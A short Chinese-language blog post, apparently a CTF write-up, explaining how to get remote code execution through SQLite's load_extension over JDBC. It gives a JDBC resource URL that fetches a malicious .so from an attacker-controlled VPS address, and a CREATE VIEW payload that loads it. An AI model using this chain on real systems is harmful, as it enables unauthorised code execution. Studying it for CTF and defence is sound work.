sqlite攻击
1diot9 Lv5

前言

适用于load_extension打开的情况,比如:img

虽然这种情况现实中比较少。

第一次遇到是在ciscn24_ezjava上

分析

首先你需要知道,sqlite是一个内存数据库,直接存储在本地,没有server,client一说。一个sqlite数据库就是一个文件,类似test.db。你可以随机新建一个db文件,然后创建sqlite时打开,这样之后产生的数据都会写在这个db文件上。sqlite无法跟mysql一样返回反序列化数据,只能通过加载so文件实现RCE

漏洞利用流程:

(前提:靶机能够执行select * from xxx,xxx可控)

1、在vps上创建rce.c,编译成rce.so。通过JDBC连接(jdbc:sqlite::resource:http://10.195.247.79:7776/rce.so),可以获取vps上的rce.so,并保存到/tmp/sqlite-jdbc-tmp-xxxx.db。其中xxxx的计算方式可知。

2、新建exp.db,用navicat创建一个sqlite连接。新建一个查询,执行CREATE VIEW security as SELECT (SELECT load_extension(‘/tmp/sqlite-jdbc-tmp–xxxx.db’)); 这样会新建一个视图

3、通过JDBC连接,可以获取vps上的exp.db,执行load_extension,加载之前的so文件,实现rce。即靶机最后执行select * from security

如果能写文件的话,那就直接写so文件,然后加载就行了。最终的目的反正都是加载so文件。

由 Hexo 驱动 & 主题 Keep
本站由 提供部署服务
总字数 182.7k 访客数 访问量